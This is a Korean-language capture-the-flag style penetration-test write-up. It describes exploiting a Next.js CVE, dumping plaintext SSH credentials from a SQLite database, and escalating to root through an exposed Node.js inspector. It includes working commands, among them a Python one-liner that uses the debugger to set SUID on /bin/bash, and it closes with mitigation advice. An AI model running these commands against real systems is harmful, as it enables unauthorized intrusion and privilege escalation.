
Next.js의 CVE-2025-55182 악용, SQLite에서 자격 증명 수집, Node.js 인스펙터를 통한 권한 상승으로 루트 액세스 권한을 획득하는 과정을 보여주는 기술적 침투 테스트 보고서입니다.
이 기술 라이트업은 취약한 Next.js 웹 애플리케이션을 호스팅하는 대상을 손상시키고, 수집한 자격 증명을 통해 초기 접근을 달성하며, 잘못 구성된 로컬 Node.js V8 인스펙터를 활용하여 루트 권한 상승을 수행하는 공격 경로를 상세히 설명합니다.
대상은 표준 HTTP/HTTPS 포트(80/443)에서 실행되는 Next.js 웹 애플리케이션을 호스팅합니다. 표준 디렉터리 열거 및 수동 분석 결과, 애플리케이션이 CVE-2025-55182에 취약한 버전을 실행 중임을 확인했습니다.
취약점을 악용하려면 Burp Suite(또는 Burp Repeater)를 사용하여 애플리케이션 트래픽을 가로채고 CVE-2025-55182를 대상으로 하는 맞춤형 익스플로잇 페이로드를 주입합니다.
익스플로잇을 통해 코드 실행 및 로컬 파일 읽기를 달성한 후, 애플리케이션 소스 디렉터리를 검사합니다. 로컬 SQLite 데이터베이스 파일(database.db)은 기본 애플리케이션 소스 코드와 인접한 위치에 있습니다.
데이터베이스 파일의 내용을 쿼리하거나 덤프하여 저장된 사용자 레코드를 추출합니다.
sqlite3 database.db "SELECT * FROM users;"
로컬 SSH 사용자 engineer와 연결된 평문 비밀번호를 찾습니다.
복구된 자격 증명을 사용하여 대상 머신과 SSH 세션을 설정합니다:
ssh engineer@<TARGET-IP>
인증이 완료되면 홈 디렉터리에 있는 사용자 플래그를 읽습니다:
cat /home/engineer/user.txt
로컬 루프백 인터페이스(127.0.0.1)에만 바인딩된 서비스를 확인하여 내부 공격 표면을 식별합니다:
netstat -tulnp
결과: 내부 Node.js 서비스가 로컬 포트 9229에서 활성 상태로 수신 중입니다.
Node.js V8 디버그 포트는 WebSocket 통신을 위해 고유한 세션 UUID가 필요합니다. curl에 /json을 추가하여 로컬 검색 엔드포인트를 쿼리합니다:
curl -s http://127.0.0.1:9229/json
출력:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
대상 Node.js 프로세스가 루트 권한으로 실행되므로, Python을 통해 WebSocket으로 Chrome DevTools Protocol(CDP) Runtime.evaluate 메시지를 전송하여 /bin/bash에 SUID 비트를 설정할 수 있습니다:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
/bin/bash에 SUID 권한이 활성화되었는지 확인하고(-rwsr-sr-x), 권한을 유지한 채 Bash를 호출합니다:
ls -l /bin/bash
bash -p
루트 사용자의 홈 디렉터리로 이동하여 최종 플래그를 캡처합니다:
cd /root
cat root.txt
이러한 공격 벡터로부터 환경을 보호하려면 알려진 CVE에 취약한 웹 애플리케이션에 패치를 적용하고, 데이터베이스 파일 권한을 적절히 제한하며, 디버깅 포트(예: 포트 9229의 Node.js 인스펙터)가 프로덕션 환경에서 노출되거나 인증 없이 접근 가능한 상태로 방치되지 않도록 해야 합니다.